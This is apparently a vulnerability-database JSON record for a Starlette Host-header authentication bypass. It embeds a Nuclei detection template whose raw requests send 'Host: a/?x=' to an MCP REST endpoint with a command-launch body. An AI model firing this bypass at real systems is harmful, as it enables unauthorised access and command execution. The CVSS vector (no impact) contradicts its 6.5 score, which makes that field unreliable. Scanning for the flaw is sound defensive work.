{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-48710/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-48710/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-48710/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-48710/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-48710/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-48710"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-48710"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.36257,
      "kev": true,
      "percentile": 0.98411
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-48710.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-48710\n\ninfo:\n  name: Starlette - Improper Validation of Unsafe Equivalence in Input\n  author: ritikchaddha\n  severity: critical\n  description: |\n    A flaw was found in Starlette, a lightweight ASGI (Asynchronous Server Gateway Interface) framework. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP Host request header. This malformed header could cause the request.url to be incorrectly reconstructed, leading to a discrepancy with the actual requested path. Consequently, security restrictions enforced by middleware and endpoints that rely on request.url for validation could be bypassed, potentially allowing unauthorized access or actions.\n  impact: |\n    A remote attacker can exploit this vulnerability by sending a specially crafted HTTP Host header in a request to a Starlette-based application. Due to improper validation of the Host header, security restrictions that rely on request.url for enforcement may be bypassed. This allows attackers to gain unauthorized access to endpoints protected by middleware or path-based checks, potentially leading to privilege escalation, information disclosure, or unauthorized actions.\n  remediation: |\n    Upgrade Starlette to >= 1.0.1 to address this vulnerability.If immediate patching is not possible, implement strict Host header validation in a reverse proxy or web server (such as nginx or Apache) to only allow expected Host values, mitigating the risk of URL-based restriction bypass.\n  reference:\n    - https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-48710\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2026-48710\n    epss-score: 0.36257\n    epss-percentile: 0.98411\n    cwe-id: CWE-1289\n  metadata:\n    max-request: 2\n    vendor: Kludex\n    product: starlette\n    shodan-query: http.html:\"starlette\"\n    fofa-query: body=\"starlette\"\n  tags: cve,cve2026,starlette,auth-bypass,badhost,vkev,kev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /mcp-rest/test/connection HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"transport\":\"stdio\",\"command\":\"echo\",\"args\":[\"test\"]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n          - 'contains_any(body, \"auth_error\", \"Authentication Error\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /mcp-rest/test/connection HTTP/1.1\n        Host: a/?x=\n        Content-Type: application/json\n        Content-Length: 54\n\n        {\"transport\":\"stdio\",\"command\":\"echo\",\"args\":[\"test\"]}\n\n    unsafe: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"Failed to connect to MCP server\"\n          - \"status\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022035cea868dfbb089fb73b7f0d6ff8c4db0cea5bdd90a80c5d8e001c4f4749848402210080d82c4c84d35ca88863968a75a985711d5572d20fde860ba6a951916095be5f:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-48710"
}